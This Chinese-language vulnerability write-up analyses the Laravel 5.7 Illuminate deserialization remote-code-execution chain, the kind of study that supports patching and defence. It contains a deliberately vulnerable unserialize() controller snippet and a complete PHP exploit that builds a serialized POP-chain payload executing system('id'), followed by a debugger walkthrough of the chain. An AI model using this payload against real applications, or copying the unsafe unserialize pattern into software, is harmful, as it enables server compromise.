本文首發於先知社區:https://xz.aliyun.com/t/5510
環境:
php7.2+apache+laravel5.7
漏洞描述:
Laravel Framework是Taylor Otwell軟件開發者開發的一款基於PHP的Web應用程序開發框架。Illuminate是其中的一個組件。Laravel Framework 5.7.x版本中的Illuminate組件存在反序列化漏洞,遠程攻擊者可利用該漏洞執行代碼。
假設存在以下二次開發漏洞點:
public function index() { if(isset($_GET['code'])) { $code = $_GET['code']; unserialize($code); return "2333"; } }
exp.php:
放在public文件夾下執行
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),$genericuser,$application); echo urlencode(serialize($pendingcommand)); } ?>
攻擊效果:
分析過程:
首先因為在laravel5.7核心包里面,那么在github中看看5.7相對於5.6增加了哪些東西:
其中可以看到5.7中多了一個
對於新增加的文件,可以通過官方文檔的api函數說明去了解該文件的作用,其中定義了PendingCommand類
其中存在反序列化方法__destruct(),在此析構函數中調用了run()方法:
而此方法可以在其注釋中發現其用於執行命令,那么思路就為通過反序列化該類的實例對象來調用run方法執行命令達到rce的效果。在對一個類進行研究時,首先要看看與其相關的成員變量:
在其構造方法中,有以下四個重要變量:
$this->app; //一個實例化的類 Illuminate\Foundation\Application $this->test; //一個實例化的類 Illuminate\Auth\GenericUser $this->command; //要執行的php函數 system $this->parameters; //要執行的php函數的參數 array('id')
斷點跟蹤分析:
首先在反序列化方法unserialize()處下斷點,執行exp生成的payload后將停在此處,此時F7進入unserialize函數進行分析:
按道理說反序列化的下一步接下來就是觸發__destruct函數,那么我們繼續F7,可以在左下方的函數調用棧中發現出現了兩處調用,
首先調用spl_autoload_call()方法
因為我們在payload中使用的類在Task控制器中並沒有加載進來,因此便觸發了PHP的自動加載的功能,也就是實現了 lazy loading,以加載類PendingCommand為例進行分析(其它所用到的類加載方式相同):關於PHP自動加載的相關描述可以參考
https://learnku.com/articles/4681/analysis-of-the-principle-of-php-automatic-loading-function
首先是類AliasLoadder中load方法的調用,其中涉及到使用Laravel框架所帶有的Facade功能去嘗試加載我們payload中所需要的類,這里的判斷的邏輯主要是有2條:
1.用戶提供所要加載的類是不是其中包含"Facades",如果是則通過loadFacade()函數進行加載 2.在Illuminate\Support\Facades命名空間中尋找是否含有用戶所要加載的類
如果通過load()方法沒有加載成功,則會調用loadclass()函數進行加載,而loadclass()函數中通過調用findfile()函數去嘗試通過Laravel中的composer的自動加載功能含有的classmap去嘗試尋找要加載的類所對應的類文件位置,此時將會加載vendor目錄中所有組件, 並生成namespace + classname的一個 key => value 的 php 數組來對所包含的文件來進行一個匹配:
找到類PendingCommand所對應的文件后,將通過includeFile()函數進行包含,從而完成類PendingCommand的整個加載流程
加載完所需要的類后,將進入__destruct方法,此時hasExecuted屬性默認為false,即還沒有執行命令,所以此時才能調用run方法:
繼續使用F7進入用於執行命令的run()函數進行分析:
在run方法中,首先要調用mockConsoleOutput()方法,該方法主要用於模擬應用程序的控制台輸出,此時因為要加載類Mockery和類Arrayinput,所以又要通過spl_autoload_call->load->loadclass加載所需要的類,並且此時又會調用createABufferedOutputMock()函數
按F7進入createABufferedOutputMock觀察一下其內部的實現,其中又調用了Mockery的mock()函數,此時繼續F7進入mock函數,進入以后直接F8單步執行即可,我們的目的只需要此段代碼能夠往下執行,在調試的時候我們並不一定要搞清每個變量每個函數的作用,調用鏈實在是太長太復雜,並且只要它不出錯就行
Mockery是一個簡單而靈活的PHP模擬對象框架,在 Laravel 應用程序測試中,我們可能希望「模擬」應用程序的某些功能的行為,從而避免該部分在測試中真正執行
接下來是exp構造的第一個亮點:
此時在createABufferedOutputMock()方法中要進入for循環,並且在其中要調用tes對象的expectedOutput屬性,然而在可以實例化的類中不存在expectedOutput屬性(通過ctrl+shift+F即可進行全局搜索),只在一些測試類中存在
所以這里要用到php的一個小trick,也是經常在ctf題中可能遇到的,當訪問不存在的屬性時會觸發__get()方法,通過去觸發__get()方法去進一步構造pop鏈,而在Illuminate\Auth\GenericUser的__get方法中存在:
而此時$this->test是Illuminate\Auth\GenericUser的實例化對象,其是我們傳入的,那么其是可以控制的,即attributes屬性也是我們可以控制的,那當發生$this->test->expectedOutput的調用時,我們只需要讓attributes中存在鍵名為expectedOutput的數組,即數組中有內容就能夠通過循環流程進行返回,繼續F8單步執行即可跳出createABufferedOutputMock()方法
此時回到mockConsoleOutput()函數中,又進行了一個循環遍歷,調用了test對象的的expectedQuestions屬性,里面的循環體與createABufferedOutputMock()函數的循環體相同,因此繞過方法也是通過調用__get()方法,設置一個鍵名為expectedQuestions的數組即可,此時將繼續往下走,繼續F8單步調試就可以return $mock,從而走出mockConsoleOutput()函數。接下來回到run函數中,此時到了觸發rce的關鍵點,也就是exp構造的第二個關鍵點:
其中出現了$this->app[Kernel::class]->call方法的調用,其中Kernel::class
在這里是一個固定值Illuminate\Contracts\Console\Kernel,
並且call的參數為我們所要執行的命令和命令參數($this->command, $this->parameters),那我們此時需要弄清$this->app[Kernal::class]返回的是哪個類的對象,使用F7步入程序內部進行分析
直到得到以下的調用棧,此時繼續F8單步執行到利用payload的語句,此時因為$this為Illuminate\Foundation\Application,bindings屬性是Container類的,而這里也是pauload中選擇Applocation作為app參數值的原因,那么通過反序列化我們可以控制bindings屬性,而此時$abstract為固定值,即只需要讓$bindings為一個二維數組,其中鍵$abstract作為數組,其中存在鍵名為concrete,鍵值為我們想要實例化的類Application即可
此時繼續F8往下走,到了實例化Application類的時刻, 此時要滿足isBuildable函數才可以進行build,因此F7步入查看
此時$concrete為Application,而$abstract為kernal,顯然不滿足,並且||右邊$concrete明顯不是閉包類的實例化,所以此時不滿足Application實例化條件,此時繼續F7,此時將會調用make函數,並且此時將$abstract賦值為了Application,並且make函數又調用了resolve函數,即實現了第二次調用isBuildable()函數判斷是否可以進行實例化,即此時已經可以成功實例化類Application,即完成了$this->app[Kernel::class]為Application對象的轉化
接下來將調用類Application中的call方法,即其父類Container中的call方法
其中第一個分支isCallableWithAtSign()判斷回調函數是否為字符串並且其中含有"@“,並且$defaultMethod默認為null,顯然此時不滿足if條件,即進入第二個分支,callBoundMethod()函數的調用
在callBoundMethod()函數中將調用call_user_func_array()函數來執行最終的命令,首先$callback為”system“,參數為靜態方法getMethodDependencies()函數的返回值,F7步入看看
在return處可以看到此時調用array_merge函數將$dependencies數組和$parameters數組進行合並,但是$dependencies數組為空,因此對我們要執行命令的參數不產生影響,即在此步返回將執行命令,即完成
call_user_func_array('system',array('id'))
此時run函數中$exitcode值即為命令的執行結果
參考:
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
https://learnku.com/docs/laravel/5.7/facades/2251
https://learnku.com/articles/12575/deep-analysis-of-the-laravel-service-container
https://laravel.com/docs/5.7/structure#the-tests-directory